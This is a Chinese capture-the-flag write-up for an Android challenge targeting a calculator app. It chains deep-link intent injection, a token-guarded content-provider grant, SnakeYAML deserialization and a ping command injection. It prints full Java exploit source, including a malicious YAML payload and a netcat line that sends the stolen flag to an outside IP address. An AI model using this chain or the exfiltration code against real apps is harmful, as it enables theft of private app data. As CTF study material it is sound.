今年一年基本都在外面到处实习,除了国赛连线下都没打过,平时也只有一些有线下的比赛偶尔帮学弟学妹们打打线上,也是好久没这么熬夜打比赛了
虽然我之前比赛主要是打Pwn,但是最近一年都是搞的安卓逆向,所以说这题做起来还是挺爽的
分析漏洞
首先是有个 Intent
注入,APP
处理 deep link
的时候,如果表达式里包含 "intent:"
,就会用 Intent.parseUri()
来解析。相当于给我们开了一个后门,可以往应用里注入恶意的 Intent
。

而 BridgeActivity
这个组件本来是用来处理异常的,但是它有个问题,验证通过后会给攻击者授予 Content Provider
的访问权限,我们就可以通过这个来访问目标 APP
的私有目录,比如我们 location /data/data/com.qinquang.calc/flag-xxxxxxxx.txt
的 flag
和 history.yml
。

这里用了一个叫 SnakeYAML
的库来读取历史记录文件 history.yml
。它直接就把 YAML
文件里的内容给反序列化了,完全不管里面装的是什么东西。我们可以在YAML文件里放一个的对象,当APP读取这个文件的时候,就会自动创建这个对象,然后执行里面的代码

这里有个很离谱的 PingUtil
类,直接把用户输入拼接到 ping
命令里,完全没有过滤,基本就是命令执行

利用过程
先构造一个恶意的 Intent
,里面包含了 bridge_token
(这个token是通过目标应用包名计算出来的)。然后把这个 Intent
编码后,通过deep link发送给目标应用。
目标应用收到后,发现表达式里包含 "intent:"
,就会解析这个 Intent
并存储为 fallback
(备用方案)。
1 2 3 4 5 6 7 8 9 10 11 12 13
| String token = computeBridgeToken(VICTIM_PKG);
Intent fallback = new Intent(Intent.ACTION_VIEW); fallback.setClassName(getPackageName(), ExploitActivity.class.getName()); fallback.putExtra("bridge_token", token); String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME); String expr = Uri.encode(intentUri); Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length()); Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr)); deeplink.setPackage(VICTIM_PKG); Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink); startActivity(deeplink);
|
然后等一会儿,发送一个除零的表达式 (1/0)
给目标应用。目标应用计算的时候会抛出异常,这个时候就会启动 BridgeActivity
来处理这个异常
1 2 3 4 5 6 7 8 9 10 11 12
| final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0")); trigger.setPackage(VICTIM_PKG);
trigger.putExtra("fallback", fallback); trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); final long delayMs = 1800L; Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() { @Override public void run() { startActivity(trigger); } }, delayMs);
|
BridgeActivity
检查 fallback Intent
,验证 token
,发现没问题,就给了我们 Content Provider
的访问权限,并且回调我们的应用

这个时候我们拿到权限后,就往 history.yml
文件里写入恶意的 YAML
内容。
1 2 3 4 5 6 7 8 9 10
| if (uriStr.endsWith("/history.yml")) { String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity"); Log.i(TAG, "STEP4 write YAML begin: \\n" + yaml); try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) { if (os == null) throw new IllegalStateException("openOutputStream returned null"); byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8); os.write(bytes); Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length); }
|
如果我们往 history.yml
写一个对象,那么后续这个 history.yml
被 loadHistory
时就会触发反序列化,来执行这个代码

这个时候我们就可以写入 PingUtil
类来进行目标APP权限下的命令执行
其实到命令执行这一步当时很快就做到了,但是怎么利用这个来进行拿 flag
想了很久,试了很多方案
由于这题的打远程的过程是,我们上传 APK
给容器,然后容器自动安装运行,后面就什么都没了。所以说,flag
肯定是 POC
安装运行后发送的,而目标 APP
是没有网络权限的,那我们只能给我们的POC网络权限,然后想办法让 POC
去读到目标 APP
私有目录下的 flag
,读到 flag
后直接发给我们服务器就行
那么我们解决问题的关键就在于,POC
的 APP
怎么去访问目标APP的私有目录
可以很容易想到的就是,利用 BridgeActivity
给我们的 Content Provider
的访问权限去访问,但是这里有几个问题:
我们此时虽然可以利用命令执行去操作 flag
,比如 mv
操作,但是没有那种目标 APP
可以写,但是 POC APP
可以读的公用目录。那 cat
呢,它也只是目标APP去读取,我的 POC
并没有读到,因为这个命令执行是目标 APP
发起的,而不是我们的 POC
PS:不知道一个 APP
权限的 shell
能干嘛,可以 run-as
切换进去试试
后面突然发现 BridgeActivity
是给我授予了对 history.yml
的读写权限的,那我直接把flag
的内容覆写到 history.yml
,然后读取不就完了?
与之而来的下一个问题就是,在正常的逻辑运行时, loadHistory
读取解析并真正执行了我们的覆写命令之后,会执行 saveHistory
将正常计算重新覆盖 history.yml
综上结论就是:
授权是短暂的,BridgeActivity
通过 FLAG_GRANT_READ/WRITE_URI_PERMISSION
临时把 content://.../history.yml
授权给我,这种 URI 授权通常随“这次回调/这条任务链”有效,Activity
结束或进程状态变化后可能失效。所以要在回调同一时序窗口内尽快读取。
文件内容是刚被覆盖的,恶意 YAML
触发的命令先把 flag
覆盖到 history.yml
,我需要在“覆盖完成之后、被其他逻辑再次写回/清空之前”读取,才能拿到 flag
。这就需要在触发正常计算后稍等一小会儿再读。
那么这个稍微等一小会的就需要我们慢慢去测试
测试方法也很简单:
如果读取服务器读到的内容是恶意 yml
,就说明命令还没执行,间隔太短
如果读取服务器读到的内容是一个正常的计算公式,就说明 yml
已经二次覆盖掉了,间隔太长
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2")); run.setPackage(VICTIM_PKG); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);
final Uri grantedUri = dataUri; new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> { new Thread(() -> { try { StringBuilder sb = new StringBuilder(); try (InputStream is = getContentResolver().openInputStream(grantedUri); InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8); BufferedReader br = new BufferedReader(ir)) { String line; while ((line = br.readLine()) != null) sb.append(line); } String flagText = sb.toString(); Log.i(TAG, "STEP5 read history.yml:\\n" + flagText); String safe = flagText.replace("'", "'\\\\''"); String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666"; execShellCommand(cmd, "nc"); } catch (Exception e) { Log.e(TAG, "readInline error: " + e); } }).start(); }, 550);
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160
| package com.attacker;
import android.app.Activity; import android.content.ContentResolver; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.util.Log;
import java.io.InputStream; import java.io.InputStreamReader; import java.io.BufferedReader; import java.io.OutputStream; import java.io.File; import java.io.FileOutputStream; import java.nio.charset.StandardCharsets;
public class ExploitActivity extends Activity { private static final String TAG = "Exploit"; private static final String VICTIM_PKG = "com.qinquang.calc";
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState);
Intent in = getIntent(); Log.i(TAG, "LAUNCH in=" + in);
Uri dataUri = in != null ? in.getData() : null; if (dataUri == null) { try { String token = computeBridgeToken(VICTIM_PKG); Intent fallback = new Intent(Intent.ACTION_VIEW); fallback.setClassName(getPackageName(), ExploitActivity.class.getName()); fallback.putExtra("bridge_token", token); String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME); String expr = Uri.encode(intentUri); Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length()); Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr)); deeplink.setPackage(VICTIM_PKG); Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink); startActivity(deeplink);
final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0")); trigger.setPackage(VICTIM_PKG); trigger.putExtra("fallback", fallback); trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); final long delayMs = 1800L; Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() { @Override public void run() { startActivity(trigger); } }, delayMs); } catch (Exception e) { Log.e(TAG, "Bootstrap error: " + e); } finally { finish(); } return; } try { Log.i(TAG, "STEP3 callback with dataUri=" + dataUri); String uriStr = String.valueOf(dataUri); Log.i(TAG, "uriStr=" + uriStr);
if (uriStr.endsWith("/history.yml")) { String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity"); Log.i(TAG, "STEP4 write YAML begin: \\n" + yaml); try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) { if (os == null) throw new IllegalStateException("openOutputStream returned null"); byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8); os.write(bytes); Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length); }
final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2")); run.setPackage(VICTIM_PKG); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);
final Uri grantedUri = dataUri; new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> { new Thread(() -> { try { StringBuilder sb = new StringBuilder(); try (InputStream is = getContentResolver().openInputStream(grantedUri); InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8); BufferedReader br = new BufferedReader(ir)) { String line; while ((line = br.readLine()) != null) sb.append(line); } String flagText = sb.toString(); Log.i(TAG, "STEP5 read history.yml:\\n" + flagText); String safe = flagText.replace("'", "'\\\\''"); String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666"; execShellCommand(cmd, "nc"); } catch (Exception e) { Log.e(TAG, "readInline error: " + e); } }).start(); }, 550); } } catch (Exception e) { Log.e(TAG, "Exploit error: " + e); } finally { } }
private static String buildEvilYaml(String pkg, String cls) { String src = "/data/data/com.qinquang.calc/flag*"; String yaml = "- !!com.qinquang.calc.PingUtil |\\n" + " 127.0.0.1; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/history.yml; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/flag.txt\\n"; return yaml; }
private void execShellCommand(String cmd, String prefix) { Process proc = null; BufferedReader reader = null; try { Log.i(TAG, prefix + " start: " + cmd); proc = new ProcessBuilder("/system/bin/sh", "-c", cmd) .redirectErrorStream(true) .start(); reader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line; while ((line = reader.readLine()) != null) { Log.i(TAG, prefix + " | " + line); } int code = proc.waitFor(); Log.i(TAG, prefix + " exit=" + code); } catch (Exception e) { Log.e(TAG, prefix + " error: " + e); } finally { try { if (reader != null) reader.close(); } catch (Exception ignore) {} if (proc != null) proc.destroy(); } }
private static String computeBridgeToken(String packageName) throws Exception { java.security.MessageDigest md = java.security.MessageDigest.getInstance("SHA-256"); byte[] hash = md.digest(packageName.getBytes(StandardCharsets.UTF_8)); StringBuilder sb = new StringBuilder(); for (int i = 0; i < 8; i++) { sb.append(String.format("%02x", hash[i])); } return sb.toString(); }
}
|